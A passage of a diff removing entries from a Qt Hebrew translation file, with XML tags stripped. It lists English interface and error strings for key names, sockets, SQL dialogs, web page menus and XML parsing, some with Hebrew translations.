    -    
    -        
    -        PgDown
    -        PgDown
    -    
    -    
    -        
    -        CapsLock
    -        CapsLock
    -    
    -    
    -        
    -        NumLock
    -        NumLock
    -    
    -    
    -        
    -        ScrollLock
    -        ScrollLock
    -    
    -    
    -        
    -        Menu
    -        
    -    
    -    
    -        
    -        Help
    -        עזרה
    -    
    -    
    -        
    -        Back
    -        אחורה
    -    
    -    
    -        
    -        Forward
    -        
    -    
    -    
    -        
    -        Stop
    -        
    -    
    -    
    -        
    -        Refresh
    -        
    -    
    -    
    -        
    -        Volume Down
    -        
    -    
    -    
    -        
    -        Volume Mute
    -        
    -    
    -    
    -        
    -        Volume Up
    -        
    -    
    -    
    -        
    -        Bass Boost
    -        
    -    
    -    
    -        
    -        Bass Up
    -        
    -    
    -    
    -        
    -        Bass Down
    -        
    -    
    -    
    -        
    -        Treble Up
    -        
    -    
    -    
    -        
    -        Treble Down
    -        
    -    
    -    
    -        
    -        Media Play
    -        
    -    
    -    
    -        
    -        Media Stop
    -        
    -    
    -    
    -        
    -        Media Previous
    -        
    -    
    -    
    -        
    -        Media Next
    -        
    -    
    -    
    -        
    -        Media Record
    -        
    -    
    -    
    -        
    -        Favorites
    -        
    -    
    -    
    -        
    -        Search
    -        
    -    
    -    
    -        
    -        Standby
    -        
    -    
    -    
    -        
    -        Open URL
    -        
    -    
    -    
    -        
    -        Launch Mail
    -        
    -    
    -    
    -        
    -        Launch Media
    -        
    -    
    -    
    -        
    -        Launch (0)
    -        
    -    
    -    
    -        
    -        Launch (1)
    -        
    -    
    -    
    -        
    -        Launch (2)
    -        
    -    
    -    
    -        
    -        Launch (3)
    -        
    -    
    -    
    -        
    -        Launch (4)
    -        
    -    
    -    
    -        
    -        Launch (5)
    -        
    -    
    -    
    -        
    -        Launch (6)
    -        
    -    
    -    
    -        
    -        Launch (7)
    -        
    -    
    -    
    -        
    -        Launch (8)
    -        
    -    
    -    
    -        
    -        Launch (9)
    -        
    -    
    -    
    -        
    -        Launch (A)
    -        
    -    
    -    
    -        
    -        Launch (B)
    -        
    -    
    -    
    -        
    -        Launch (C)
    -        
    -    
    -    
    -        
    -        Launch (D)
    -        
    -    
    -    
    -        
    -        Launch (E)
    -        
    -    
    -    
    -        
    -        Launch (F)
    -        
    -    
    -    
    -        
    -        Print Screen
    -        
    -    
    -    
    -        
    -        Page Up
    -        
    -    
    -    
    -        
    -        Page Down
    -        
    -    
    -    
    -        
    -        Caps Lock
    -        
    -    
    -    
    -        
    -        Num Lock
    -        
    -    
    -    
    -        
    -        Number Lock
    -        
    -    
    -    
    -        
    -        Scroll Lock
    -        
    -    
    -    
    -        
    -        Insert
    -        הוסף
    -    
    -    
    -        
    -        Delete
    -        מחק
    -    
    -    
    -        
    -        Escape
    -        
    -    
    -    
    -        
    -        System Request
    -        
    -    
    -    
    -        
    -        Select
    -        
    -    
    -    
    -        
    -        Yes
    -        כן
    -    
    -    
    -        
    -        No
    -        לא
    -    
    -    
    -        
    -        Context1
    -        
    -    
    -    
    -        
    -        Context2
    -        
    -    
    -    
    -        
    -        Context3
    -        
    -    
    -    
    -        
    -        Context4
    -        
    -    
    -    
    -        
    -        Call
    -        
    -    
    -    
    -        
    -        Hangup
    -        
    -    
    -    
    -        
    -        Flip
    -        
    -    
    -    
    -        
    -        
    -        Ctrl
    -        Ctrl
    -    
    -    
    -        
    -        
    -        Shift
    -        Shift
    -    
    -    
    -        
    -        
    -        Alt
    -        Alt
    -    
    -    
    -        
    -        
    -        Meta
    -        
    -    
    -    
    -        
    -        +
    -        +
    -    
    -    
    -        
    -        F%1
    -        F%1
    -    
    -    
    -        
    -        Home Page
    -        
    -    
    -
    -
    -    QSlider
    -    
    -        
    -        Page left
    -        
    -    
    -    
    -        
    -        Page up
    -        
    -    
    -    
    -        
    -        Position
    -        
    -    
    -    
    -        
    -        Page right
    -        
    -    
    -    
    -        
    -        Page down
    -        
    -    
    -
    -
    -    QSocks5SocketEngine
    -    
    -        
    -        Connection to proxy refused
    -        
    -    
    -    
    -        
    -        Connection to proxy closed prematurely
    -        
    -    
    -    
    -        
    -        Proxy host not found
    -        
    -    
    -    
    -        
    -        Connection to proxy timed out
    -        
    -    
    -    
    -        
    -        Proxy authentication failed
    -        
    -    
    -    
    -        
    -        Proxy authentication failed: %1
    -        
    -    
    -    
    -        
    -        SOCKS version 5 protocol error
    -        
    -    
    -    
    -        
    -        General SOCKSv5 server failure
    -        
    -    
    -    
    -        
    -        Connection not allowed by SOCKSv5 server
    -        
    -    
    -    
    -        
    -        TTL expired
    -        
    -    
    -    
    -        
    -        SOCKSv5 command not supported
    -        
    -    
    -    
    -        
    -        Address type not supported
    -        
    -    
    -    
    -        
    -        Unknown SOCKSv5 proxy error code 0x%1
    -        
    -    
    -    
    -        
    -        Network operation timed out
    -        
    -    
    -
    -
    -    QSpinBox
    -    
    -        
    -        More
    -        
    -    
    -    
    -        
    -        Less
    -        
    -    
    -
    -
    -    QSql
    -    
    -        
    -        Delete
    -        מחק
    -    
    -    
    -        
    -        Delete this record?
    -        האם למחוק רשומה זו?
    -    
    -    
    -        
    -        
    -        
    -        Yes
    -        כן
    -    
    -    
    -        
    -        
    -        
    -        No
    -        לא
    -    
    -    
    -        
    -        Insert
    -        הוסף
    -    
    -    
    -        
    -        Update
    -        עדכן
    -    
    -    
    -        
    -        Save edits?
    -        האם לשמור את העריכה?
    -    
    -    
    -        
    -        Cancel
    -        ביטול
    -    
    -    
    -        
    -        Confirm
    -        אישור
    -    
    -    
    -        
    -        Cancel your edits?
    -        האם לבטל את העריכה שלך?
    -    
    -
    -
    -    QSslSocket
    -    
    -        
    -        Unable to write data: %1
    -        
    -    
    -    
    -        
    -        Error while reading: %1
    -        
    -    
    -    
    -        
    -        Error during SSL handshake: %1
    -        
    -    
    -    
    -        
    -        Error creating SSL context (%1)
    -        
    -    
    -    
    -        
    -        Invalid or empty cipher list (%1)
    -        
    -    
    -    
    -        
    -        Error creating SSL session, %1
    -        
    -    
    -    
    -        
    -        Error creating SSL session: %1
    -        
    -    
    -    
    -        
    -        Cannot provide a certificate with no key, %1
    -        
    -    
    -    
    -        
    -        Error loading local certificate, %1
    -        
    -    
    -    
    -        
    -        Error loading private key, %1
    -        
    -    
    -    
    -        
    -        Private key does not certificate public key, %1
    -        
    -    
    -
    -
    -    QSystemSemaphore
    -    
    -        
    -        
    -        %1: out of resources
    -        
    -    
    -    
    -        
    -        
    -        %1: permission denied
    -        
    -    
    -    
    -        
    -        %1: already exists
    -        
    -    
    -    
    -        
    -        %1: does not exist
    -        
    -    
    -    
    -        
    -        
    -        %1: unknown error %2
    -        
    -    
    -
    -
    -    QTDSDriver
    -    
    -        
    -        Unable to open connection
    -        
    -    
    -    
    -        
    -        Unable to use database
    -        
    -    
    -
    -
    -    QTabBar
    -    
    -        
    -        Scroll Left
    -        
    -    
    -    
    -        
    -        Scroll Right
    -        
    -    
    -
    -
    -    QTcpServer
    -    
    -        
    -        Operation on socket is not supported
    -        
    -    
    -
    -
    -    QTextControl
    -    
    -        
    -        &Undo
    -        &בטל
    -    
    -    
    -        
    -        &Redo
    -        בצע &שוב
    -    
    -    
    -        
    -        Cu&t
    -        &גזור
    -    
    -    
    -        
    -        &Copy
    -        הע&תק
    -    
    -    
    -        
    -        Copy &Link Location
    -        
    -    
    -    
    -        
    -        &Paste
    -        ה&דבק
    -    
    -    
    -        
    -        Delete
    -        מחק
    -    
    -    
    -        
    -        Select All
    -        בחר הכל
    -    
    -
    -
    -    QToolButton
    -    
    -        
    -        
    -        Press
    -        
    -    
    -    
    -        
    -        
    -        Open
    -        פתח
    -    
    -
    -
    -    QUdpSocket
    -    
    -        
    -        This platform does not support IPv6
    -        
    -    
    -
    -
    -    QUndoGroup
    -    
    -        
    -        Undo
    -        בטל
    -    
    -    
    -        
    -        Redo
    -        שחזר
    -    
    -
    -
    -    QUndoModel
    -    
    -        
    -        <empty>
    -        
    -    
    -
    -
    -    QUndoStack
    -    
    -        
    -        Undo
    -        בטל
    -    
    -    
    -        
    -        Redo
    -        שחזר
    -    
    -
    -
    -    QUnicodeControlCharacterMenu
    -    
    -        
    -        LRM Left-to-right mark
    -        
    -    
    -    
    -        
    -        RLM Right-to-left mark
    -        
    -    
    -    
    -        
    -        ZWJ Zero width joiner
    -        
    -    
    -    
    -        
    -        ZWNJ Zero width non-joiner
    -        
    -    
    -    
    -        
    -        ZWSP Zero width space
    -        
    -    
    -    
    -        
    -        LRE Start of left-to-right embedding
    -        
    -    
    -    
    -        
    -        RLE Start of right-to-left embedding
    -        
    -    
    -    
    -        
    -        LRO Start of left-to-right override
    -        
    -    
    -    
    -        
    -        RLO Start of right-to-left override
    -        
    -    
    -    
    -        
    -        PDF Pop directional formatting
    -        
    -    
    -    
    -        
    -        Insert Unicode control character
    -        
    -    
    -
    -
    -    QWebFrame
    -    
    -        
    -        Request cancelled
    -        
    -    
    -    
    -        
    -        Request blocked
    -        
    -    
    -    
    -        
    -        Cannot show URL
    -        
    -    
    -    
    -        
    -        Frame load interruped by policy change
    -        
    -    
    -    
    -        
    -        Cannot show mimetype
    -        
    -    
    -    
    -        
    -        File does not exist
    -        
    -    
    -
    -
    -    QWebPage
    -    
    -        
    -        Bad HTTP request
    -        
    -    
    -    
    -        
    -        Submit
    -        default label for Submit buttons in forms on web pages
    -        
    -    
    -    
    -        
    -        Submit
    -        Submit (input element) alt text for <input> elements with no alt, title, or value
    -        
    -    
    -    
    -        
    -        Reset
    -        default label for Reset buttons in forms on web pages
    -        
    -    
    -    
    -        
    -        This is a searchable index. Enter search keywords: 
    -        text that appears at the start of nearly-obsolete web pages in the form of a 'searchable index'
    -        
    -    
    -    
    -        
    -        Choose File
    -        title for file button used in HTML forms
    -        
    -    
    -    
    -        
    -        No file selected
    -        text to display in file button used in HTML forms when no file is selected
    -        
    -    
    -    
    -        
    -        Open in New Window
    -        Open in New Window context menu item
    -        
    -    
    -    
    -        
    -        Save Link...
    -        Download Linked File context menu item
    -        
    -    
    -    
    -        
    -        Copy Link
    -        Copy Link context menu item
    -        
    -    
    -    
    -        
    -        Open Image
    -        Open Image in New Window context menu item
    -        
    -    
    -    
    -        
    -        Save Image
    -        Download Image context menu item
    -        
    -    
    -    
    -        
    -        Copy Image
    -        Copy Link context menu item
    -        
    -    
    -    
    -        
    -        Open Frame
    -        Open Frame in New Window context menu item
    -        
    -    
    -    
    -        
    -        Copy
    -        Copy context menu item
    -        
    -    
    -    
    -        
    -        Go Back
    -        Back context menu item
    -        
    -    
    -    
    -        
    -        Go Forward
    -        Forward context menu item
    -        
    -    
    -    
    -        
    -        Stop
    -        Stop context menu item
    -        
    -    
    -    
    -        
    -        Reload
    -        Reload context menu item
    -        
    -    
    -    
    -        
    -        Cut
    -        Cut context menu item
    -        
    -    
    -    
    -        
    -        Paste
    -        Paste context menu item
    -        
    -    
    -    
    -        
    -        No Guesses Found
    -        No Guesses Found context menu item
    -        
    -    
    -    
    -        
    -        Ignore
    -        Ignore Spelling context menu item
    -        
    -    
    -    
    -        
    -        Add To Dictionary
    -        Learn Spelling context menu item
    -        
    -    
    -    
    -        
    -        Search The Web
    -        Search The Web context menu item
    -        
    -    
    -    
    -        
    -        Look Up In Dictionary
    -        Look Up in Dictionary context menu item
    -        
    -    
    -    
    -        
    -        Open Link
    -        Open Link context menu item
    -        
    -    
    -    
    -        
    -        Ignore
    -        Ignore Grammar context menu item
    -        
    -    
    -    
    -        
    -        Spelling
    -        Spelling and Grammar context sub-menu item
    -        
    -    
    -    
    -        
    -        Show Spelling and Grammar
    -        menu item title
    -        
    -    
    -    
    -        
    -        Hide Spelling and Grammar
    -        menu item title
    -        
    -    
    -    
    -        
    -        Check Spelling
    -        Check spelling context menu item
    -        
    -    
    -    
    -        
    -        Check Spelling While Typing
    -        Check spelling while typing context menu item
    -        
    -    
    -    
    -        
    -        Check Grammar With Spelling
    -        Check grammar with spelling context menu item
    -        
    -    
    -    
    -        
    -        Fonts
    -        Font context sub-menu item
    -        
    -    
    -    
    -        
    -        Bold
    -        Bold context menu item
    -        
    -    
    -    
    -        
    -        Italic
    -        Italic context menu item
    -        
    -    
    -    
    -        
    -        Underline
    -        Underline context menu item
    -        
    -    
    -    
    -        
    -        Outline
    -        Outline context menu item
    -        
    -    
    -    
    -        
    -        Direction
    -        Writing direction context sub-menu item
    -        
    -    
    -    
    -        
    -        Text Direction
    -        Text direction context sub-menu item
    -        
    -    
    -    
    -        
    -        Default
    -        Default writing direction context menu item
    -        
    -    
    -    
    -        
    -        LTR
    -        Left to Right context menu item
    -        
    -    
    -    
    -        
    -        RTL
    -        Right to Left context menu item
    -        
    -    
    -    
    -        
    -        Inspect
    -        Inspect Element context menu item
    -        
    -    
    -    
    -        
    -        No recent searches
    -        Label for only item in menu that appears when clicking on the search field image, when no searches have been performed
    -        
    -    
    -    
    -        
    -        Recent searches
    -        label for first item in the menu that appears when clicking on the search field image, used as embedded menu title
    -        
    -    
    -    
    -        
    -        Clear recent searches
    -        menu item in Recent Searches menu that empties menu's contents
    -        
    -    
    -    
    -        
    -        Unknown
    -        Unknown filesize FTP directory listing item
    -        
    -    
    -    
    -        
    -        %1 (%2x%3 pixels)
    -        Title string for images
    -        
    -    
    -    
    -        
    -        Web Inspector - %2
    -        
    -    
    -    
    -        
    -        Scroll here
    -        
    -    
    -    
    -        
    -        Left edge
    -        
    -    
    -    
    -        
    -        Top
    -        
    -    
    -    
    -        
    -        Right edge
    -        
    -    
    -    
    -        
    -        Bottom
    -        
    -    
    -    
    -        
    -        Page left
    -        
    -    
    -    
    -        
    -        Page up
    -        
    -    
    -    
    -        
    -        Page right
    -        
    -    
    -    
    -        
    -        Page down
    -        
    -    
    -    
    -        
    -        Scroll left
    -        
    -    
    -    
    -        
    -        Scroll up
    -        
    -    
    -    
    -        
    -        Scroll right
    -        
    -    
    -    
    -        
    -        Scroll down
    -        
    -    
    -    
    -        
    -        %n file(s)
    -        number of chosen file
    -        
    -            
    -        
    -    
    -    
    -        
    -        JavaScript Alert - %1
    -        
    -    
    -    
    -        
    -        JavaScript Confirm - %1
    -        
    -    
    -    
    -        
    -        JavaScript Prompt - %1
    -        
    -    
    -    
    -        
    -        Move the cursor to the next character
    -        
    -    
    -    
    -        
    -        Move the cursor to the previous character
    -        
    -    
    -    
    -        
    -        Move the cursor to the next word
    -        
    -    
    -    
    -        
    -        Move the cursor to the previous word
    -        
    -    
    -    
    -        
    -        Move the cursor to the next line
    -        
    -    
    -    
    -        
    -        Move the cursor to the previous line
    -        
    -    
    -    
    -        
    -        Move the cursor to the start of the line
    -        
    -    
    -    
    -        
    -        Move the cursor to the end of the line
    -        
    -    
    -    
    -        
    -        Move the cursor to the start of the block
    -        
    -    
    -    
    -        
    -        Move the cursor to the end of the block
    -        
    -    
    -    
    -        
    -        Move the cursor to the start of the document
    -        
    -    
    -    
    -        
    -        Move the cursor to the end of the document
    -        
    -    
    -    
    -        
    -        Select all
    -        
    -    
    -    
    -        
    -        Select to the next character
    -        
    -    
    -    
    -        
    -        Select to the previous character
    -        
    -    
    -    
    -        
    -        Select to the next word
    -        
    -    
    -    
    -        
    -        Select to the previous word
    -        
    -    
    -    
    -        
    -        Select to the next line
    -        
    -    
    -    
    -        
    -        Select to the previous line
    -        
    -    
    -    
    -        
    -        Select to the start of the line
    -        
    -    
    -    
    -        
    -        Select to the end of the line
    -        
    -    
    -    
    -        
    -        Select to the start of the block
    -        
    -    
    -    
    -        
    -        Select to the end of the block
    -        
    -    
    -    
    -        
    -        Select to the start of the document
    -        
    -    
    -    
    -        
    -        Select to the end of the document
    -        
    -    
    -    
    -        
    -        Delete to the start of the word
    -        
    -    
    -    
    -        
    -        Delete to the end of the word
    -        
    -    
    -    
    -        
    -        Insert a new paragraph
    -        
    -    
    -    
    -        
    -        Insert a new line
    -        
    -    
    -
    -
    -    QWhatsThisAction
    -    
    -        
    -        What's This?
    -        מה זה?
    -    
    -
    -
    -    QWidget
    -    
    -        
    -        *
    -        
    -    
    -
    -
    -    QWizard
    -    
    -        
    -        Cancel
    -        ביטול
    -    
    -    
    -        
    -        Help
    -        עזרה
    -    
    -    
    -        
    -        Go Back
    -        
    -    
    -    
    -        
    -        Continue
    -        
    -    
    -    
    -        
    -        Commit
    -        
    -    
    -    
    -        
    -        Done
    -        
    -    
    -    
    -        
    -        < &Back
    -        
    -    
    -    
    -        
    -        &Finish
    -        
    -    
    -    
    -        
    -        &Help
    -        
    -    
    -    
    -        
    -        &Next
    -        
    -    
    -    
    -        
    -        &Next >
    -        
    -    
    -
    -
    -    QWorkspace
    -    
    -        
    -        &Restore
    -        ש&חזר
    -    
    -    
    -        
    -        &Move
    -        ה&זז
    -    
    -    
    -        
    -        &Size
    -        &שנה גודל
    -    
    -    
    -        
    -        Mi&nimize
    -        &מזער
    -    
    -    
    -        
    -        Ma&ximize
    -        &הגדל
    -    
    -    
    -        
    -        &Close
    -        &סגור
    -    
    -    
    -        
    -        Stay on &Top
    -        &תמיד עליון
    -    
    -    
    -        
    -        
    -        Sh&ade
    -        &גלול
    -    
    -    
    -        
    -        
    -        %1 - [%2]
    -        %1 - [%2]
    -    
    -    
    -        
    -        Minimize
    -        מזער
    -    
    -    
    -        
    -        Restore Down
    -        שחזר למטה
    -    
    -    
    -        
    -        Close
    -        סגור
    -    
    -    
    -        
    -        &Unshade
    -        &בטל גלילה
    -    
    -
    -
    -    QXml
    -    
    -        
    -        no error occurred
    -        לא אירעה כל שגיאה
    -    
    -    
    -        
    -        error triggered by consumer
    -        נגרמה שגיאה על ידי הצרכן
    -    
    -    
    -        
    -        unexpected end of file
    -        סוף קובץ לא צפוי
    -    
    -    
    -        
    -        more than one document type definition
    -        יותר מהגדרה אחת של סוג מסמך
    -    
    -    
    -        
    -        error occurred while parsing element
    -        אירעה שגיאה בעת עיבוד המרכיב
    -    
    -    
    -        
    -        tag mismatch
    -        אי-התאמה בתגית
    -    
    -    
    -        
    -        error occurred while parsing content
    -        אירעה שגיאה בעת עיבוד התוכן
    -    
    -    
    -        
    -        unexpected character
    -        תו לא צפוי
    -    
    -    
    -        
    -        invalid name for processing instruction
    -        שם לא תקף עבור הוראת העיבוד
    -    
    -    
    -        
    -        version expected while reading the XML declaration
    -        הייתה צפויה גירסה בעת קריאה ההכרזה על XML
    -    
    -    
    -        
    -        wrong value for standalone declaration
    -        ערך שגוי עבור ההגדרה העצמאית
    -    
    -    
    -        
    -        encoding declaration or standalone declaration expected while reading the XML declaration
    -        הייתה צפויה הכרזה על קידוד או הכרזה עצמאית בעת קריאת ההכרזה על XML
    -    
    -    
    -        
    -        standalone declaration expected while reading the XML declaration
    -        הייתה צפויה הכרזה עצמאית בעת קריאת ההכרזה על XML
    -    
    -    
    -        
    -        error occurred while parsing document type definition
    -        אירעה שגיאה בעת עיבוד הגדרת סוג המסמך
    -    
    -    
    -        
    -        letter is expected
    -        הייתה צפויה אות
    -    
    -    
    -        
    -        error occurred while parsing comment
    -        אירעה שגיאה בעת עיבוד ההערה
    -    
    -    
    -        
    -        error occurred while parsing reference
    -        אירעה שגיאה בעת עיבוד ההתייחסות
    -    
    -    
    -        
    -        internal general entity reference not allowed in DTD
    -        התייחסות ליישות כללית פנימית אינה מותרת ב-DTD
    -    
    -    
    -        
    -        external parsed general entity reference not allowed in attribute value
    -        התייחסות ליישות כללית מעובדת חיצונית אינה מותרת בערך המאפיין
    -    
    -    
    -        
    -        external parsed general entity reference not allowed in DTD
    -        התייחסות ליישות כללית מעובדת חיצונית אינה מותרת ב-DTD
    -    
    -    
    -        
    -        unparsed entity reference in wrong context
    -        התייחסות ליישות לא מעובדת בהקשר שגוי
    -    
    -    
    -        
    -        recursive entities
    -        יישות רקורסיבית
    -    
    -    
    -        
    -        error in the text declaration of an external entity
    -        שגיאה בהכרזת טקסט של יישות חיצונית
    -    
    -
    -
    -    QXmlStream
    -    
    -        
    -        
    -        Extra content at end of document.
    -        
    -    
    -    
    -        
    -        Invalid entity value.
    -        
    -    
    -    
    -        
    -        Invalid XML character.
    -        
    -    
    -    
    -        
    -        Sequence ']]>' not allowed in content.
    -        
    -    
    -    
    -        
    -        Namespace prefix '%1' not declared
    -        
    -    
    -    
    -        
    -        Attribute redefined.
    -        
    -    
    -    
    -        
    -        Unexpected character '%1' in public id literal.
    -        
    -    
    -    
    -        
    -        Invalid XML version string.
    -        
    -    
    -    
    -        
    -        Unsupported XML version.
    -        
    -    
    -    
    -        
    -        %1 is an invalid encoding name.
    -        
    -    
    -    
    -        
    -        Encoding %1 is unsupported
    -        
    -    
    -    
    -        
    -        Standalone accepts only yes or no.
    -        
    -    
    -    
    -        
    -        Invalid attribute in XML declaration.
    -        
    -    
    -    
    -        
    -        Premature end of document.
    -        
    -    
    -    
    -        
    -        Invalid document.
    -        
    -    
    -    
    -        
    -        Expected 
    -        
    -    
    -    
    -        
    -        , but got '
    -        
    -    
    -    
    -        
    -        Unexpected '
    -        
    -    
    -    
    -        
    -        Expected character data.
    -        
    -    
    -    
    -        
    -        Recursive entity detected.
    -        
    -    
    -    
    -        
    -        Start tag expected.
    -        
    -    
    -    
    -        
    -        XML declaration not at start of document.
    -        
    -    
    -    
    -        
    -        NDATA in parameter entity declaration.
    -        
    -    
    -    
    -        
    -        %1 is an invalid processing instruction name.
    -        
    -    
    -    
    -        
    -        Invalid processing instruction name.
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        Illegal namespace declaration.
    -        
    -    
    -    
    -        
    -        Invalid XML name.
    -        
    -    
    -    
    -        
    -        Opening and ending tag mismatch.
    -        
    -    
    -    
    -        
    -        Reference to unparsed entity '%1'.
    -        
    -    
    -    
    -        
    -        
    -        
    -        Entity '%1' not declared.
    -        
    -    
    -    
    -        
    -        Reference to external entity '%1' in attribute value.
    -        
    -    
    -    
    -        
    -        Invalid character reference.
    -        
    -    
    -    
    -        
    -        
    -        Encountered incorrectly encoded content.
    -        
    -    
    -    
    -        
    -        The standalone pseudo attribute must appear after the encoding.
    -        
    -    
    -    
    -        
    -        %1 is an invalid PUBLIC identifier.
    -        
    -    
    -
    -
    -    QtXmlPatterns
    -    
    -        
    -        An %1-attribute with value %2 has already been declared.
    -        
    -    
    -    
    -        
    -        An %1-attribute must have a valid %2 as value, which %3 isn't.
    -        
    -    
    -    
    -        
    -        Network timeout.
    -        
    -    
    -    
    -        
    -        Element %1 can't be serialized because it appears outside the document element.
    -        
    -    
    -    
    -        
    -        Attribute %1 can't be serialized because it appears at the top level.
    -        
    -    
    -    
    -        
    -        Year %1 is invalid because it begins with %2.
    -        
    -    
    -    
    -        
    -        Day %1 is outside the range %2..%3.
    -        
    -    
    -    
    -        
    -        Month %1 is outside the range %2..%3.
    -        
    -    
    -    
    -        
    -        Overflow: Can't represent date %1.
    -        
    -    
    -    
    -        
    -        Day %1 is invalid for month %2.
    -        
    -    
    -    
    -        
    -        Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; 
    -        
    -    
    -    
    -        
    -        Time %1:%2:%3.%4 is invalid.
    -        
    -    
    -    
    -        
    -        Overflow: Date can't be represented.
    -        
    -    
    -    
    -        
    -        
    -        At least one component must be present.
    -        
    -    
    -    
    -        
    -        At least one time component must appear after the %1-delimiter.
    -        
    -    
    -    
    -        
    -        No operand in an integer division, %1, can be %2.
    -        
    -    
    -    
    -        
    -        The first operand in an integer division, %1, cannot be infinity (%2).
    -        
    -    
    -    
    -        
    -        The second operand in a division, %1, cannot be zero (%2).
    -        
    -    
    -    
    -        
    -        %1 is not a valid value of type %2.
    -        
    -    
    -    
    -        
    -        When casting to %1 from %2, the source value cannot be %3.
    -        
    -    
    -    
    -        
    -        Integer division (%1) by zero (%2) is undefined.
    -        
    -    
    -    
    -        
    -        Division (%1) by zero (%2) is undefined.
    -        
    -    
    -    
    -        
    -        Modulus division (%1) by zero (%2) is undefined.
    -        
    -    
    -    
    -        
    -        
    -        Dividing a value of type %1 by %2 (not-a-number) is not allowed.
    -        
    -    
    -    
    -        
    -        Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.
    -        
    -    
    -    
    -        
    -        Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.
    -        
    -    
    -    
    -        
    -        A value of type %1 cannot have an Effective Boolean Value.
    -        
    -    
    -    
    -        
    -        Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.
    -        
    -    
    -    
    -        
    -        Value %1 of type %2 exceeds maximum (%3).
    -        
    -    
    -    
    -        
    -        Value %1 of type %2 is below minimum (%3).
    -        
    -    
    -    
    -        
    -        A value of type %1 must contain an even number of digits. The value %2 does not.
    -        
    -    
    -    
    -        
    -        %1 is not valid as a value of type %2.
    -        
    -    
    -    
    -        
    -        Operator %1 cannot be used on type %2.
    -        
    -    
    -    
    -        
    -        Operator %1 cannot be used on atomic values of type %2 and %3.
    -        
    -    
    -    
    -        
    -        The namespace URI in the name for a computed attribute cannot be %1.
    -        
    -    
    -    
    -        
    -        The name for a computed attribute cannot have the namespace URI %1 with the local name %2.
    -        
    -    
    -    
    -        
    -        Type error in cast, expected %1, received %2.
    -        
    -    
    -    
    -        
    -        When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.
    -        
    -    
    -    
    -        
    -        No casting is possible with %1 as the target type.
    -        
    -    
    -    
    -        
    -        It is not possible to cast from %1 to %2.
    -        
    -    
    -    
    -        
    -        Casting to %1 is not possible because it is an abstract type, and can therefore never be instantiated.
    -        
    -    
    -    
    -        
    -        It's not possible to cast the value %1 of type %2 to %3
    -        
    -    
    -    
    -        
    -        Failure when casting from %1 to %2: %3
    -        
    -    
    -    
    -        
    -        A comment cannot contain %1
    -        
    -    
    -    
    -        
    -        A comment cannot end with a %1.
    -        
    -    
    -    
    -        
    -        No comparisons can be done involving the type %1.
    -        
    -    
    -    
    -        
    -        Operator %1 is not available between atomic values of type %2 and %3.
    -        
    -    
    -    
    -        
    -        An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.
    -        
    -    
    -    
    -        
    -        A library module cannot be evaluated directly. It must be imported from a main module.
    -        
    -    
    -    
    -        
    -        No template by name %1 exists.
    -        
    -    
    -    
    -        
    -        A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.
    -        
    -    
    -    
    -        
    -        A positional predicate must evaluate to a single numeric value.
    -        
    -    
    -    
    -        
    -        The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, is %2 invalid.
    -        
    -    
    -    
    -        
    -        %1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.
    -        
    -    
    -    
    -        
    -        The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.
    -        
    -    
    -    
    -        
    -        The data of a processing instruction cannot contain the string %1
    -        
    -    
    -    
    -        
    -        No namespace binding exists for the prefix %1
    -        
    -    
    -    
    -        
    -        No namespace binding exists for the prefix %1 in %2
    -        
    -    
    -    
    -        
    -        
    -        %1 is an invalid %2
    -        
    -    
    -    
    -        
    -        %1 takes at most %n argument(s). %2 is therefore invalid.
    -        
    -            
    -        
    -    
    -    
    -        
    -        %1 requires at least %n argument(s). %2 is therefore invalid.
    -        
    -            
    -        
    -    
    -    
    -        
    -        The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.
    -        
    -    
    -    
    -        
    -        The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
    -        
    -    
    -    
    -        
    -        The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
    -        
    -    
    -    
    -        
    -        %1 is not a valid XML 1.0 character.
    -        
    -    
    -    
    -        
    -        The first argument to %1 cannot be of type %2.
    -        
    -    
    -    
    -        
    -        If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.
    -        
    -    
    -    
    -        
    -        %1 was called.
    -        
    -    
    -    
    -        
    -        %1 must be followed by %2 or %3, not at the end of the replacement string.
    -        
    -    
    -    
    -        
    -        In the replacement string, %1 must be followed by at least one digit when not escaped.
    -        
    -    
    -    
    -        
    -        In the replacement string, %1 can only be used to escape itself or %2, not %3
    -        
    -    
    -    
    -        
    -        %1 matches newline characters
    -        
    -    
    -    
    -        
    -        %1 and %2 match the start and end of a line.
    -        
    -    
    -    
    -        
    -        Matches are case insensitive
    -        
    -    
    -    
    -        
    -        Whitespace characters are removed, except when they appear in character classes
    -        
    -    
    -    
    -        
    -        %1 is an invalid regular expression pattern: %2
    -        
    -    
    -    
    -        
    -        %1 is an invalid flag for regular expressions. Valid flags are:
    -        
    -    
    -    
    -        
    -        If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.
    -        
    -    
    -    
    -        
    -        It will not be possible to retrieve %1.
    -        
    -    
    -    
    -        
    -        The root node of the second argument to function %1 must be a document node. %2 is not a document node.
    -        
    -    
    -    
    -        
    -        The default collection is undefined
    -        
    -    
    -    
    -        
    -        %1 cannot be retrieved
    -        
    -    
    -    
    -        
    -        The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).
    -        
    -    
    -    
    -        
    -        A zone offset must be in the range %1..%2 inclusive. %3 is out of range.
    -        
    -    
    -    
    -        
    -        %1 is not a whole number of minutes.
    -        
    -    
    -    
    -        
    -        Required cardinality is %1; got cardinality %2.
    -        
    -    
    -    
    -        
    -        The item %1 did not match the required type %2.
    -        
    -    
    -    
    -        
    -        
    -        %1 is an unknown schema type.
    -        
    -    
    -    
    -        
    -        Only one %1 declaration can occur in the query prolog.
    -        
    -    
    -    
    -        
    -        The initialization of variable %1 depends on itself
    -        
    -    
    -    
    -        
    -        No variable by name %1 exists
    -        
    -    
    -    
    -        
